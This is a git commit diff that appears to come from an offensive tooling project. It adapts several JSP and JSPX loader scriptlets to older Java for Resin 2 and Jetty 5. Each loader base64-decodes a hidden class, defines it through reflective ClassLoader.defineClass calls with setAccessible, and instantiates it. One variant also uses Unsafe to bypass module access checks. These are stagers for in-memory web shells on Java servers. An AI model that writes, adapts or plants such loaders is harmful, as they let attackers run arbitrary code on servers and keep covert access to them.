feat: support resin2 and jetty5

This commit is contained in:
ReaJason
2026-08-03 23:54:06 +08:00
parent af4c8b1d63
commit 1243e59ac2
51 changed files with 3426 additions and 226 deletions
@@ -15,12 +15,12 @@
byte[] bytecode = null;
try {
Class base64Clz = Class.forName("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
Object decoder = base64Clz.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
bytecode = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{base64Str});
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", new Class[]{String.class}).invoke(null, new Object[]{base64Str});
}
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
clazz.newInstance();
%>
%>
@@ -17,13 +17,13 @@
byte[] bytecode = null;
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
Object decoder = base64Clz.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
bytecode = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{base64Str});
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", new Class[]{String.class}).invoke(null, new Object[]{base64Str});
}
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
clazz.newInstance();
]]></jsp:scriptlet>
</jsp:root>
</jsp:root>
@@ -3,14 +3,14 @@
byte[] bytecode = null;
try {
Class base64Clz = Class.forName("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
Object decoder = base64Clz.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
bytecode = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{base64Str});
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", new Class[]{String.class}).invoke(null, new Object[]{base64Str});
}
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, Integer.TYPE, Integer.TYPE});
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{bytecode, new Integer(0), new Integer(bytecode.length)});
clazz.newInstance();
%>
%>
@@ -20,17 +20,17 @@
byte[] bytecode = null;
try {
Class base64Clz = Class.forName("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
Object decoder = base64Clz.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
bytecode = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{base64Str});
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", new Class[]{String.class}).invoke(null, new Object[]{base64Str});
}
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, Integer.TYPE, Integer.TYPE});
defMethod.setAccessible(true);
Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{bytecode, new Integer(0), new Integer(bytecode.length)});
if (getAndSetObjectM != null) {
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
}
clazz.newInstance();
%>
%>